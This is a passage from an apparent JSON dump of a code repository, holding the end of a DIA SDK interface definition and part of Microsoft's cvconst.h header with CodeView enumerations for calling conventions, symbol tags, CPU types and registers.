\n        [in] ULONGLONG va,\n        [out] IDiaFrameData **ppFrame\n        );\n    HRESULT symbolForVA(                    // Get symbol at this address, must be a SymTagFunctionType!\n        [in] ULONGLONG va,\n        [out] IDiaSymbol **ppSymbol\n        );\n    HRESULT pdataForVA(                      // Get PDATA for this address\n        [in]  ULONGLONG va,\n        [in]  DWORD cbData,\n        [out] DWORD *pcbData,\n        [out, size_is(cbData)] BYTE *pbData\n        );\n    HRESULT imageForVA(                      // Get information about an image\n        [in]  ULONGLONG vaContext,           // An address in the image\n        [out] ULONGLONG *pvaImageStart       // Beginning of the image\n        );\n    HRESULT addressForVA(\n        [in] ULONGLONG va,\n        [out] DWORD* pISect,\n        [out] DWORD* pOffset\n        );\n    HRESULT numberOfFunctionFragmentsForVA(\n        [in] ULONGLONG vaFunc,\n        [in] DWORD cbFunc,\n        [out] DWORD* pNumFragments\n        );\n    HRESULT functionFragmentsForVA(\n        [in] ULONGLONG vaFunc,\n        [in] DWORD cbFunc,\n        [in] DWORD cFragments,\n        [out] ULONGLONG *pVaFragment,\n        [out] DWORD *pLenFragment\n        );\n}\n\n[\n    object,\n    uuid(5485216b-a54c-469f-9670-52b24d5229bb),\n    local,\n    helpstring(\"IDiaStackWalker Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaStackWalker: IUnknown\n{\n    HRESULT getEnumFrames(                              // Gives you frame enumerator for x86\n        [in]  IDiaStackWalkHelper *pHelper,\n        [out] IDiaEnumStackFrames **ppEnum\n        );\n\n    HRESULT getEnumFrames2(                             // Gives frame enumerator for processor specified by dwMachineId\n        [in]  enum CV_CPU_TYPE_e cpuid,\n        [in]  IDiaStackWalkHelper *pHelper,\n        [out] IDiaEnumStackFrames **ppEnum\n        );\n}\n\n[\n    object,\n    uuid(8222c490-507b-4bef-b3bd-41dca7b5934c),\n    local,\n    helpstring(\"IDiaStackWalkHelper Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaStackWalkHelper2 : IDiaStackWalkHelper\n{\n}\n\n[\n    object,\n    uuid(7c185885-a015-4cac-9411-0f4fb39b1f3a),\n    local,\n    helpstring(\"IDiaStackWalker2 Interface\"),\n    pointer_default(unique)\n]\ninterface IDiaStackWalker2 : IDiaStackWalker\n{\n}\n"
  },
  {
    "path": "DIA/inc/msdia/include/cvconst.h",
    "content": "// cvconst.h - codeview constant definitions\n//-----------------------------------------------------------------\n//\n// Copyright Microsoft Corporation.  All Rights Reserved.\n//\n//---------------------------------------------------------------\n#ifndef _CVCONST_H_\n#define _CVCONST_H_\n\n\n\n//      Enumeration for function call type\n\n\ntypedef enum CV_call_e\n{\n    CV_CALL_NEAR_C      = 0x00, // near right to left push, caller pops stack\n    CV_CALL_FAR_C       = 0x01, // far right to left push, caller pops stack\n    CV_CALL_NEAR_PASCAL = 0x02, // near left to right push, callee pops stack\n    CV_CALL_FAR_PASCAL  = 0x03, // far left to right push, callee pops stack\n    CV_CALL_NEAR_FAST   = 0x04, // near left to right push with regs, callee pops stack\n    CV_CALL_FAR_FAST    = 0x05, // far left to right push with regs, callee pops stack\n    CV_CALL_SKIPPED     = 0x06, // skipped (unused) call index\n    CV_CALL_NEAR_STD    = 0x07, // near standard call\n    CV_CALL_FAR_STD     = 0x08, // far standard call\n    CV_CALL_NEAR_SYS    = 0x09, // near sys call\n    CV_CALL_FAR_SYS     = 0x0a, // far sys call\n    CV_CALL_THISCALL    = 0x0b, // this call (this passed in register)\n    CV_CALL_MIPSCALL    = 0x0c, // Mips call\n    CV_CALL_GENERIC     = 0x0d, // Generic call sequence\n    CV_CALL_ALPHACALL   = 0x0e, // Alpha call\n    CV_CALL_PPCCALL     = 0x0f, // PPC call\n    CV_CALL_SHCALL      = 0x10, // Hitachi SuperH call\n    CV_CALL_ARMCALL     = 0x11, // ARM call\n    CV_CALL_AM33CALL    = 0x12, // AM33 call\n    CV_CALL_TRICALL     = 0x13, // TriCore Call\n    CV_CALL_SH5CALL     = 0x14, // Hitachi SuperH-5 call\n    CV_CALL_M32RCALL    = 0x15, // M32R Call\n    CV_CALL_CLRCALL     = 0x16, // clr call\n    CV_CALL_INLINE      = 0x17, // Marker for routines always inlined and thus lacking a convention\n    CV_CALL_NEAR_VECTOR = 0x18, // near left to right push with regs, callee pops stack\n    CV_CALL_SWIFT       = 0x19, // Swift calling convention\n    CV_CALL_RESERVED    = 0x20  // first unused call enumeration\n\n    // Do NOT add any more machine specific conventions.  This is to be used for\n    // calling conventions in the source only (e.g. __cdecl, __stdcall).\n} CV_call_e;\n\n\n//      Values for the access protection of class attributes\n\n\ntypedef enum CV_access_e\n{\n    CV_private   = 1,\n    CV_protected = 2,\n    CV_public    = 3\n} CV_access_e;\n\n\ntypedef enum THUNK_ORDINAL\n{\n    THUNK_ORDINAL_NOTYPE,       // standard thunk\n    THUNK_ORDINAL_ADJUSTOR,     // \"this\" adjustor thunk\n    THUNK_ORDINAL_VCALL,        // virtual call thunk\n    THUNK_ORDINAL_PCODE,        // pcode thunk\n    THUNK_ORDINAL_LOAD,         // thunk which loads the address to jump to\n                                //  via unknown means...\n\n    // trampoline thunk ordinals   - only for use in Trampoline thunk symbols\n\n    THUNK_ORDINAL_TRAMP_INCREMENTAL,\n    THUNK_ORDINAL_TRAMP_BRANCHISLAND,\n    THUNK_ORDINAL_TRAMP_STRICTICF,\n    THUNK_ORDINAL_TRAMP_ARM64XSAMEADDRESS,\n    THUNK_ORDINAL_TRAMP_FUNCOVERRIDING,\n} THUNK_ORDINAL;\n\n\nenum CV_SourceChksum_t\n{\n    CHKSUM_TYPE_NONE = 0,        // indicates no checksum is available\n    CHKSUM_TYPE_MD5,\n    CHKSUM_TYPE_SHA1,\n    CHKSUM_TYPE_SHA_256,\n};\n\n//\n// DIA enums\n//\n\nenum SymTagEnum\n{\n    SymTagNull,\n    SymTagExe,\n    SymTagCompiland,\n    SymTagCompilandDetails,\n    SymTagCompilandEnv,\n    SymTagFunction,\n    SymTagBlock,\n    SymTagData,\n    SymTagAnnotation,\n    SymTagLabel,\n    SymTagPublicSymbol,\n    SymTagUDT,\n    SymTagEnum,\n    SymTagFunctionType,\n    SymTagPointerType,\n    SymTagArrayType,\n    SymTagBaseType,\n    SymTagTypedef,\n    SymTagBaseClass,\n    SymTagFriend,\n    SymTagFunctionArgType,\n    SymTagFuncDebugStart,\n    SymTagFuncDebugEnd,\n    SymTagUsingNamespace,\n    SymTagVTableShape,\n    SymTagVTable,\n    SymTagCustom,\n    SymTagThunk,\n    SymTagCustomType,\n    SymTagManagedType,\n    SymTagDimension,\n    SymTagCallSite,\n    SymTagInlineSite,\n    SymTagBaseInterface,\n    SymTagVectorType,\n    SymTagMatrixType,\n    SymTagHLSLType,\n    SymTagCaller,\n    SymTagCallee,\n    SymTagExport,\n    SymTagHeapAllocationSite,\n    SymTagCoffGroup,\n    SymTagInlinee,\n    SymTagMax\n};\n\nenum LocationType\n{\n    LocIsNull,\n    LocIsStatic,\n    LocIsTLS,\n    LocIsRegRel,\n    LocIsThisRel,\n    LocIsEnregistered,\n    LocIsBitField,\n    LocIsSlot,\n    LocIsIlRel,\n    LocInMetaData,\n    LocIsConstant,\n    LocIsRegRelAliasIndir,\n    LocTypeMax\n};\n\nenum DataKind\n{\n    DataIsUnknown,\n    DataIsLocal,\n    DataIsStaticLocal,\n    DataIsParam,\n    DataIsObjectPtr,\n    DataIsFileStatic,\n    DataIsGlobal,\n    DataIsMember,\n    DataIsStaticMember,\n    DataIsConstant\n};\n\nenum UdtKind\n{\n    UdtStruct,\n    UdtClass,\n    UdtUnion,\n    UdtInterface\n};\n\nenum BasicType\n{\n    btNoType = 0,\n    btVoid = 1,\n    btChar = 2,\n    btWChar = 3,\n    btInt = 6,\n    btUInt = 7,\n    btFloat = 8,\n    btBCD = 9,\n    btBool = 10,\n    btLong = 13,\n    btULong = 14,\n    btCurrency = 25,\n    btDate = 26,\n    btVariant = 27,\n    btComplex = 28,\n    btBit = 29,\n    btBSTR = 30,\n    btHresult = 31,\n    btChar16 = 32,  // char16_t\n    btChar32 = 33,  // char32_t\n    btChar8  = 34,  // char8_t\n};\n\n\n//      enumeration for type modifier values\n\ntypedef enum CV_modifier_e\n{\n    // 0x0000 - 0x01ff - Reserved.\n\n    CV_MOD_INVALID                      = 0x0000,\n\n    // Standard modifiers.\n\n    CV_MOD_CONST                        = 0x0001,\n    CV_MOD_VOLATILE                     = 0x0002,\n    CV_MOD_UNALIGNED                    = 0x0003,\n    \n    // 0x0200 - 0x03ff - HLSL modifiers.\n\n    CV_MOD_HLSL_UNIFORM                 = 0x0200,\n    CV_MOD_HLSL_LINE                    = 0x0201,\n    CV_MOD_HLSL_TRIANGLE                = 0x0202,\n    CV_MOD_HLSL_LINEADJ                 = 0x0203,\n    CV_MOD_HLSL_TRIANGLEADJ             = 0x0204,\n    CV_MOD_HLSL_LINEAR                  = 0x0205,\n    CV_MOD_HLSL_CENTROID                = 0x0206,\n    CV_MOD_HLSL_CONSTINTERP             = 0x0207,\n    CV_MOD_HLSL_NOPERSPECTIVE           = 0x0208,\n    CV_MOD_HLSL_SAMPLE                  = 0x0209,\n    CV_MOD_HLSL_CENTER                  = 0x020a,\n    CV_MOD_HLSL_SNORM                   = 0x020b,\n    CV_MOD_HLSL_UNORM                   = 0x020c,\n    CV_MOD_HLSL_PRECISE                 = 0x020d,\n    CV_MOD_HLSL_UAV_GLOBALLY_COHERENT   = 0x020e,\n\n    // 0x0400 - 0xffff - Unused.\n    \n} CV_modifier_e;\n\n\n//      built-in type kinds\n\n\ntypedef enum CV_builtin_e\n{\n    // 0x0000 - 0x01ff - Reserved.\n    CV_BI_INVALID                       = 0x0000,\n    \n    // 0x0200 - 0x03ff - HLSL types.\n\n    CV_BI_HLSL_INTERFACE_POINTER        = 0x0200,\n    CV_BI_HLSL_TEXTURE1D                = 0x0201,\n    CV_BI_HLSL_TEXTURE1D_ARRAY          = 0x0202,\n    CV_BI_HLSL_TEXTURE2D                = 0x0203,\n    CV_BI_HLSL_TEXTURE2D_ARRAY          = 0x0204,\n    CV_BI_HLSL_TEXTURE3D                = 0x0205,\n    CV_BI_HLSL_TEXTURECUBE              = 0x0206,\n    CV_BI_HLSL_TEXTURECUBE_ARRAY        = 0x0207,\n    CV_BI_HLSL_TEXTURE2DMS              = 0x0208,\n    CV_BI_HLSL_TEXTURE2DMS_ARRAY        = 0x0209,\n    CV_BI_HLSL_SAMPLER                  = 0x020a,\n    CV_BI_HLSL_SAMPLERCOMPARISON        = 0x020b,\n    CV_BI_HLSL_BUFFER                   = 0x020c,\n    CV_BI_HLSL_POINTSTREAM              = 0x020d,\n    CV_BI_HLSL_LINESTREAM               = 0x020e,\n    CV_BI_HLSL_TRIANGLESTREAM           = 0x020f,\n    CV_BI_HLSL_INPUTPATCH               = 0x0210,\n    CV_BI_HLSL_OUTPUTPATCH              = 0x0211,\n    CV_BI_HLSL_RWTEXTURE1D              = 0x0212,\n    CV_BI_HLSL_RWTEXTURE1D_ARRAY        = 0x0213,\n    CV_BI_HLSL_RWTEXTURE2D              = 0x0214,\n    CV_BI_HLSL_RWTEXTURE2D_ARRAY        = 0x0215,\n    CV_BI_HLSL_RWTEXTURE3D              = 0x0216,\n    CV_BI_HLSL_RWBUFFER                 = 0x0217,\n    CV_BI_HLSL_BYTEADDRESS_BUFFER       = 0x0218,\n    CV_BI_HLSL_RWBYTEADDRESS_BUFFER     = 0x0219,\n    CV_BI_HLSL_STRUCTURED_BUFFER        = 0x021a,\n    CV_BI_HLSL_RWSTRUCTURED_BUFFER      = 0x021b,\n    CV_BI_HLSL_APPEND_STRUCTURED_BUFFER = 0x021c,\n    CV_BI_HLSL_CONSUME_STRUCTURED_BUFFER= 0x021d,\n    CV_BI_HLSL_MIN8FLOAT                = 0x021e,\n    CV_BI_HLSL_MIN10FLOAT               = 0x021f,\n    CV_BI_HLSL_MIN16FLOAT               = 0x0220,\n    CV_BI_HLSL_MIN12INT                 = 0x0221,\n    CV_BI_HLSL_MIN16INT                 = 0x0222,\n    CV_BI_HLSL_MIN16UINT                = 0x0223,\n    CV_BI_HLSL_CONSTANT_BUFFER          = 0x0224,\n\n    // 0x0400 - 0xffff - Unused.\n    \n} CV_builtin_e;\n\n\n//  enum describing the compile flag source language\n\n\ntypedef enum CV_CFL_LANG\n{\n    CV_CFL_C        = 0x00,\n    CV_CFL_CXX      = 0x01,\n    CV_CFL_FORTRAN  = 0x02,\n    CV_CFL_MASM     = 0x03,\n    CV_CFL_PASCAL   = 0x04,\n    CV_CFL_BASIC    = 0x05,\n    CV_CFL_COBOL    = 0x06,\n    CV_CFL_LINK     = 0x07,\n    CV_CFL_CVTRES   = 0x08,\n    CV_CFL_CVTPGD   = 0x09,\n    CV_CFL_CSHARP   = 0x0A,  // C#\n    CV_CFL_VB       = 0x0B,  // Visual Basic\n    CV_CFL_ILASM    = 0x0C,  // IL (as in CLR) ASM\n    CV_CFL_JAVA     = 0x0D,\n    CV_CFL_JSCRIPT  = 0x0E,\n    CV_CFL_MSIL     = 0x0F,  // Unknown MSIL (LTCG of .NETMODULE)\n    CV_CFL_HLSL     = 0x10,  // High Level Shader Language\n    CV_CFL_OBJC     = 0x11,  // Objective-C\n    CV_CFL_OBJCXX   = 0x12,  // Objective-C++\n    CV_CFL_SWIFT    = 0x13,  // Swift\n    CV_CFL_ALIASOBJ = 0x14,\n    CV_CFL_RUST     = 0x15,  // Rust\n} CV_CFL_LANG;\n\n\n//  enum describing target processor\n\n\ntypedef enum CV_CPU_TYPE_e\n{\n    CV_CFL_8080             = 0x00,\n    CV_CFL_8086             = 0x01,\n    CV_CFL_80286            = 0x02,\n    CV_CFL_80386            = 0x03,\n    CV_CFL_80486            = 0x04,\n    CV_CFL_PENTIUM          = 0x05,\n    CV_CFL_PENTIUMII        = 0x06,\n    CV_CFL_PENTIUMPRO       = CV_CFL_PENTIUMII,\n    CV_CFL_PENTIUMIII       = 0x07,\n    CV_CFL_MIPS             = 0x10,\n    CV_CFL_MIPSR4000        = CV_CFL_MIPS,  // don't break current code\n    CV_CFL_MIPS16           = 0x11,\n    CV_CFL_MIPS32           = 0x12,\n    CV_CFL_MIPS64           = 0x13,\n    CV_CFL_MIPSI            = 0x14,\n    CV_CFL_MIPSII           = 0x15,\n    CV_CFL_MIPSIII          = 0x16,\n    CV_CFL_MIPSIV           = 0x17,\n    CV_CFL_MIPSV            = 0x18,\n    CV_CFL_M68000           = 0x20,\n    CV_CFL_M68010           = 0x21,\n    CV_CFL_M68020           = 0x22,\n    CV_CFL_M68030           = 0x23,\n    CV_CFL_M68040           = 0x24,\n    CV_CFL_ALPHA            = 0x30,\n    CV_CFL_ALPHA_21064      = 0x30,\n    CV_CFL_ALPHA_21164      = 0x31,\n    CV_CFL_ALPHA_21164A     = 0x32,\n    CV_CFL_ALPHA_21264      = 0x33,\n    CV_CFL_ALPHA_21364      = 0x34,\n    CV_CFL_PPC601           = 0x40,\n    CV_CFL_PPC603           = 0x41,\n    CV_CFL_PPC604           = 0x42,\n    CV_CFL_PPC620           = 0x43,\n    CV_CFL_PPCFP            = 0x44,\n    CV_CFL_PPCBE            = 0x45,\n    CV_CFL_SH3              = 0x50,\n    CV_CFL_SH3E             = 0x51,\n    CV_CFL_SH3DSP           = 0x52,\n    CV_CFL_SH4              = 0x53,\n    CV_CFL_SHMEDIA          = 0x54,\n    CV_CFL_ARM3             = 0x60,\n    CV_CFL_ARM4             = 0x61,\n    CV_CFL_ARM4T            = 0x62,\n    CV_CFL_ARM5             = 0x63,\n    CV_CFL_ARM5T            = 0x64,\n    CV_CFL_ARM6             = 0x65,\n    CV_CFL_ARM_XMAC         = 0x66,\n    CV_CFL_ARM_WMMX         = 0x67,\n    CV_CFL_ARM7             = 0x68,\n    CV_CFL_OMNI             = 0x70,\n    CV_CFL_IA64             = 0x80,\n    CV_CFL_IA64_1           = 0x80,\n    CV_CFL_IA64_2           = 0x81,\n    CV_CFL_CEE              = 0x90,\n    CV_CFL_AM33             = 0xA0,\n    CV_CFL_M32R             = 0xB0,\n    CV_CFL_TRICORE          = 0xC0,\n    CV_CFL_X64              = 0xD0,\n    CV_CFL_AMD64            = CV_CFL_X64,\n    CV_CFL_EBC              = 0xE0,\n    CV_CFL_THUMB            = 0xF0,\n    CV_CFL_ARMNT            = 0xF4,\n    CV_CFL_ARM64            = 0xF6,\n    CV_CFL_HYBRID_X86_ARM64 = 0xF7,\n    CV_CFL_ARM64EC          = 0xF8,\n    CV_CFL_ARM64X           = 0xF9,\n    CV_CFL_UNKNOWN          = 0xFF,\n    CV_CFL_D3D11_SHADER     = 0x100,\n} CV_CPU_TYPE_e;\n\ntypedef enum CV_HREG_e\n{\n    // Register subset shared by all processor types,\n    // must not overlap with any of the ranges below, hence the high values\n\n    CV_ALLREG_ERR   =   30000,\n    CV_ALLREG_TEB   =   30001,\n    CV_ALLREG_TIMER =   30002,\n    CV_ALLREG_EFAD1 =   30003,\n    CV_ALLREG_EFAD2 =   30004,\n    CV_ALLREG_EFAD3 =   30005,\n    CV_ALLREG_VFRAME=   30006,\n    CV_ALLREG_HANDLE=   30007,\n    CV_ALLREG_PARAMS=   30008,\n    CV_ALLREG_LOCALS=   30009,\n    CV_ALLREG_TID   =   30010,\n    CV_ALLREG_ENV   =   30011,\n    CV_ALLREG_CMDLN =   30012,\n\n\n    //  Register set for the Intel 80x86 and ix86 processor series\n    //  (plus PCODE registers)\n\n    CV_REG_NONE     =   0,\n    CV_REG_AL       =   1,\n    CV_REG_CL       =   2,\n    CV_REG_DL       =   3,\n    CV_REG_BL       =   4,\n    CV_REG_AH       =   5,\n    CV_REG_CH       =   6,\n    CV_REG_DH       =   7,\n    CV_REG_BH       =   8,\n    CV_REG_AX       =   9,\n    CV_REG_CX       =  10,\n    CV_REG_DX       =  11,\n    CV_REG_BX       =  12,\n    CV_REG_SP       =  13,\n    CV_REG_BP       =  14,\n    CV_REG_SI       =  15,\n    CV_REG_DI       =  16,\n    CV_REG_EAX      =  17,\n    CV_REG_ECX      =  18,\n    CV_REG_EDX      =  19,\n    CV_REG_EBX      =  20,\n    CV_REG_ESP      =  21,\n    CV_REG_EBP      =  22,\n    CV_REG_ESI      =  23,\n    CV_REG_EDI      =  24,\n    CV_REG_ES       =  25,\n    CV_REG_CS       =  26,\n    CV_REG_SS       =  27,\n    CV_REG_DS       =  28,\n    CV_REG_FS       =  29,\n    CV_REG_GS       =  30,\n    CV_REG_IP       =  31,\n    CV_REG_FLAGS    =  32,\n    CV_REG_EIP      =  33,\n    CV_REG_EFLAGS   =  34,\n    CV_REG_TEMP     =  40,          // PCODE Temp\n    CV_REG_TEMPH    =  41,          // PCODE TempH\n    CV_REG_QUOTE    =  42,          // PCODE Quote\n    CV_REG_PCDR3    =  43,          // PCODE reserved\n    CV_REG_PCDR4    =  44,          // PCODE reserved\n    CV_REG_PCDR5    =  45,          // PCODE reserved\n    CV_REG_PCDR6    =  46,          // PCODE reserved\n    CV_REG_PCDR7    =  47,          // PCODE reserved\n    CV_REG_CR0      =  80,          // CR0 -- control registers\n    CV_REG_CR1      =  81,\n    CV_REG_CR2      =  82,\n    CV_REG_CR3      =  83,\n    CV_REG_CR4      =  84,          // Pentium\n    CV_REG_DR0      =  90,          // Debug register\n    CV_REG_DR1      =  91,\n    CV_REG_DR2      =  92,\n    CV_REG_DR3      =  93,\n    CV_REG_DR4      =  94,\n    CV_REG_DR5      =  95,\n    CV_REG_DR6      =  96,\n    CV_REG_DR7      =  97,\n    CV_REG_GDTR     =  110,\n    CV_REG_GDTL     =  111,\n    CV_REG_IDTR     =  112,\n    CV_REG_IDTL     =  113,\n    CV_REG_LDTR     =  114,\n    CV_REG_TR       =  115,\n\n    CV_REG_PSEUDO1  =  116,\n    CV_REG_PSEUDO2  =  117,\n    CV_REG_PSEUDO3  =  118,\n    CV_REG_PSEUDO4  =  119,\n    CV_REG_PSEUDO5  =  120,\n    CV_REG_PSEUDO6  =  121,\n    CV_REG_PSEUDO7  =  122,\n    CV_REG_PSEUDO8  =  123,\n    CV_REG_PSEUDO9  =  124,\n\n    CV_REG_ST0      =  128,\n    CV_REG_ST1      =  129,\n    CV_REG_ST2      =  130,\n    CV_REG_ST3      =  131,\n    CV_REG_ST4      =  132,\n    CV_REG_ST5      =  133,\n    CV_REG_ST6      =  134,\n    CV_REG_ST7      =  135,\n    CV_REG_CTRL     =  136,\n    CV_REG_STAT     =  137,\n    CV_REG_TAG      =  138,\n    CV_REG_FPIP     =  139,\n    CV_REG_FPCS     =  140,\n    CV_REG_FPDO     =  141,\n    CV_REG_FPDS     =  142,\n    CV_REG_ISEM     =  143,\n    CV_REG_FPEIP    =  144,\n    CV_REG_FPEDO    =  145,\n\n    CV_REG_MM0      =  146,\n    CV_REG_MM1      =  147,\n    CV_REG_MM2      =  148,\n    CV_REG_MM3      =  149,\n    CV_REG_MM4      =  150,\n    CV_REG_MM5      =  151,\n    CV_REG_MM6      =  152,\n    CV_REG_MM7      =  153,\n\n    CV_REG_XMM0     =  154, // KATMAI registers\n    CV_REG_XMM1     =  155,\n    CV_REG_XMM2     =  156,\n    CV_REG_XMM3     =  157,\n    CV_REG_XMM4     =  158,\n    CV_REG_XMM5     =  159,\n    CV_REG_XMM6     =  160,\n    CV_REG_XMM7     =  161,\n\n    CV_REG_XMM00    =  162, // KATMAI sub-registers\n    CV_REG_XMM01    =  163,\n    CV_REG_XMM02    =  164,\n    CV_REG_XMM03    =  165,\n    CV_REG_XMM10    =  166,\n    CV_REG_XMM11    =  167,\n    CV_REG_XMM12    =  168,\n    CV_REG_XMM13    =  169,\n    CV_REG_XMM20    =  170,\n    CV_REG_XMM21    =  171,\n    CV_REG_XMM22    =  172,\n    CV_REG_XMM23    =  173,\n    CV_REG_XMM30    =  174,\n    CV_REG_XMM31    =  175,\n    CV_REG_XMM32    =  176,\n    CV_REG_XMM33    =  177,\n    CV_REG_XMM40    =  178,\n    CV_REG_XMM41    =  179,\n    CV_REG_XMM42    =  180,\n    CV_REG_XMM43    =  181,\n    CV_REG_XMM50    =  182,\n    CV_REG_XMM51    =  183,\n    CV_REG_XMM52    =  184,\n    CV_REG_XMM53    =  185,\n    CV_REG_XMM60    =  186,\n    CV_REG_XMM61    =  187,\n    CV_REG_XMM62    =  188,\n    CV_REG_XMM63    =  189,\n    CV_REG_XMM70    =  190,\n    CV_REG_XMM71    =  191,\n    CV_REG_XMM72    =  192,\n    CV_REG_XMM73    =  193,\n\n    CV_REG_XMM0L    =  194,\n    CV_REG_XMM1L    =  195,\n    CV_REG_XMM2L    =  196,\n    CV_REG_XMM3L    =  197,\n    CV_REG_XMM4L    =  198,\n    CV_REG_XMM5L    =  199,\n    CV_REG_XMM6L    =  200,\n    CV_REG_XMM7L    =  201,\n\n    CV_REG_XMM0H    =  202,\n    CV_REG_XMM1H    =  203,\n    CV_REG_XMM2H    =  204,\n    CV_REG_XMM3H    =  205,\n    CV_REG_XMM4H    =  206,\n    CV_REG_XMM5H    =  207,\n    CV_REG_XMM6H    =  208,\n    CV_REG_XMM7H    =  209,\n\n    CV_REG_MXCSR    =  211, // XMM status register\n\n    CV_REG_EDXEAX   =  212, // EDX:EAX pair\n\n    CV_REG_EMM0L    =  220, // XMM sub-registers (WNI integer)\n    CV_REG_EMM1L    =  221,\n    CV_REG_EMM2L    =  222,\n    CV_REG_EMM3L    =  223,\n    CV_REG_EMM4L    =  224,\n    CV_REG_EMM5L    =  225,\n    CV_REG_EMM6L    =  226,\n    CV_REG_EMM7L    =  227,\n\n    CV_REG_EMM0H    =  228,\n    CV_REG_EMM1H    =  229,\n    CV_REG_EMM2H    =  230,\n    CV_REG_EMM3H    =  231,\n    CV_REG_EMM4H    =  232,\n    CV_REG_EMM5H    =  233,\n    CV_REG_EMM6H    =  234,\n    CV_REG_EMM7H    =  235,\n\n    // do not change the order of these regs, first one must be even too\n    CV_REG_MM00     =  236,\n    CV_REG_MM01     =  237,\n    CV_REG_MM10     =  238,\n    CV_REG_MM11     =  239,\n    CV_REG_MM20     =  240,\n    CV_REG_MM21     =  241,\n    CV_REG_MM30     =  242,\n    CV_REG_MM31     =  243,\n    CV_REG_MM40     =  244,\n    CV_REG_MM41     =  245,\n    CV_REG_MM50     =  246,\n    CV_REG_MM51     =  247,\n    CV_REG_MM60     =  248,\n    CV_REG_MM61     =  249,\n    CV_REG_MM70     =  250,\n    CV_REG_MM71     =  251,\n\n    CV_REG_YMM0     =  252, // AVX registers\n    CV_REG_YMM1     =  253,\n    CV_REG_YMM2     =  254,\n    CV_REG_YMM3     =  255,\n    CV_REG_YMM4     =  256,\n    CV_REG_YMM5     =  257,\n    CV_REG_YMM6     =  258,\n    CV_REG_YMM7     =  259,\n\n    CV_REG_YMM0H    =  260,\n    CV_REG_YMM1H    =  261,\n    CV_REG_YMM2H    =  262,\n    CV_REG_YMM3H    =  263,\n    CV_REG_YMM4H    =  264,\n    CV_REG_YMM5H    =  265,\n    CV_REG_YMM6H    =  266,\n    CV_REG_YMM7H    =  267,\n\n    CV_REG_YMM0I0     =    268,    // AVX integer registers\n    CV_REG_YMM0I1     =    269,\n    CV_REG_YMM0I2     =    270,\n    CV_REG_YMM0I3     =    271,\n    CV_REG_YMM1I0     =    272,\n    CV_REG_YMM1I1     =    273,\n    CV_REG_YMM1I2     =    274,\n    CV_REG_YMM1I3     =    275,\n    CV_REG_YMM2I0     =    276,\n    CV_REG_YMM2I1     =    277,\n    CV_REG_YMM2I2     =    278,\n    CV_REG_YMM2I3     =    279,\n    CV_REG_YMM3I0     =    280,\n    CV_REG_YMM3I1     =    281,\n    CV_REG_YMM3I2     =    282,\n    CV_REG_YMM3I3     =    283,\n    CV_REG_YMM4I0     =    284,\n    CV_REG_YMM4I1     =    285,\n    CV_REG_YMM4I2     =    286,\n    CV_REG_YMM4I3     =    287,\n    CV_REG_YMM5I0     =    288,\n    CV_REG_YMM5I1     =    289,\n    CV_REG_YMM5I2     =    290,\n    CV_REG_YMM5I3     =    291,\n    CV_REG_YMM6I0     =    292,\n    CV_REG_YMM6I1     =    293,\n    CV_REG_YMM6I2     =    294,\n    CV_REG_YMM6I3     =    295,\n    CV_REG_YMM7I0     =    296,\n    CV_REG_YMM7I1     =    297,\n    CV_REG_YMM7I2     =    298,\n    CV_REG_YMM7I3     =    299,\n        \n    CV_REG_YMM0F0    =  300,     // AVX floating-point single precise registers\n    CV_REG_YMM0F1    =  301,\n    CV_REG_YMM0F2    =  302,\n    CV_REG_YMM0F3    =  303,\n    CV_REG_YMM0F4    =  304,\n    CV_REG_YMM0F5    =  305,\n    CV_REG_YMM0F6    =  306,\n    CV_REG_YMM0F7    =  307,\n    CV_REG_YMM1F0    =  308,\n    CV_REG_YMM1F1    =  309,\n    CV_REG_YMM1F2    =  310,\n    CV_REG_YMM1F3    =  311,\n    CV_REG_YMM1F4    =  312,\n    CV_REG_YMM1F5    =  313,\n    CV_REG_YMM1F6    =  314,\n    CV_REG_YMM1F7    =  315,\n    CV_REG_YMM2F0    =  316,\n    CV_REG_YMM2F1    =  317,\n    CV_REG_YMM2F2    =  318,\n    CV_REG_YMM2F3    =  319,\n    CV_REG_YMM2F4    =  320,\n    CV_REG_YMM2F5    =  321,\n    CV_REG_YMM2F6    =  322,\n    CV_REG_YMM2F7    =  323,\n    CV_REG_YMM3F0    =  324,\n    CV_REG_YMM3F1    =  325,\n    CV_REG_YMM3F2    =  326,\n    CV_REG_YMM3F3    =  327,\n    CV_REG_YMM3F4    =  328,\n    CV_REG_YMM3F5    =  329,\n    CV_REG_YMM3F6    =  330,\n    CV_REG_YMM3F7    =  331,\n    CV_REG_YMM4F0    =  332,\n    CV_REG_YMM4F1    =  333,\n    CV_REG_YMM4F2    =  334,\n    CV_REG_YMM4F3    =  335,\n    CV_REG_YMM4F4    =  336,\n    CV_REG_YMM4F5    =  337,\n    CV_REG_YMM4F6    =  338,\n    CV_REG_YMM4F7    =  339,\n    CV_REG_YMM5F0    =  340,\n    CV_REG_YMM5F1    =  341,\n    CV_REG_YMM5F2    =  342,\n    CV_REG_YMM5F3    =  343,\n    CV_REG_YMM5F4    =  344,\n    CV_REG_YMM5F5    =  345,\n    CV_REG_YMM5F6    =  346,\n    CV_REG_YMM5F7    =  347,\n    CV_REG_YMM6F0    =  348,\n    CV_REG_YMM6F1    =  349,\n    CV_REG_YMM6F2    =  350,\n    CV_REG_YMM6F3    =  351,\n    CV_REG_YMM6F4    =  352,\n    CV_REG_YMM6F5    =  353,\n    CV_REG_YMM6F6    =  354,\n    CV_REG_YMM6F7    =  355,\n    CV_REG_YMM7F0    =  356,\n    CV_REG_YMM7F1    =  357,\n    CV_REG_YMM7F2    =  358,\n    CV_REG_YMM7F3    =  359,\n    CV_REG_YMM7F4    =  360,\n    CV_REG_YMM7F5    =  361,\n    CV_REG_YMM7F6    =  362,\n    CV_REG_YMM7F7    =  363,\n    \n    CV_REG_YMM0D0     =    364,    // AVX floating-point double precise registers\n    CV_REG_YMM0D1     =    365,\n    CV_REG_YMM0D2     =    366,\n    CV_REG_YMM0D3     =    367,\n    CV_REG_YMM1D0     =    368,\n    CV_REG_YMM1D1     =    369,\n    CV_REG_YMM1D2     =    370,\n    CV_REG_YMM1D3     =    371,\n    CV_REG_YMM2D0     =    372,\n    CV_REG_YMM2D1     =    373,\n    CV_REG_YMM2D2     =    374,\n    CV_REG_YMM2D3     =    375,\n    CV_REG_YMM3D0     =    376,\n    CV_REG_YMM3D1     =    377,\n    CV_REG_YMM3D2     =    378,\n    CV_REG_YMM3D3     =    379,\n    CV_REG_YMM4D0     =    380,\n    CV_REG_YMM4D1     =    381,\n    CV_REG_YMM4D2     =    382,\n    CV_REG_YMM4D3     =    383,\n    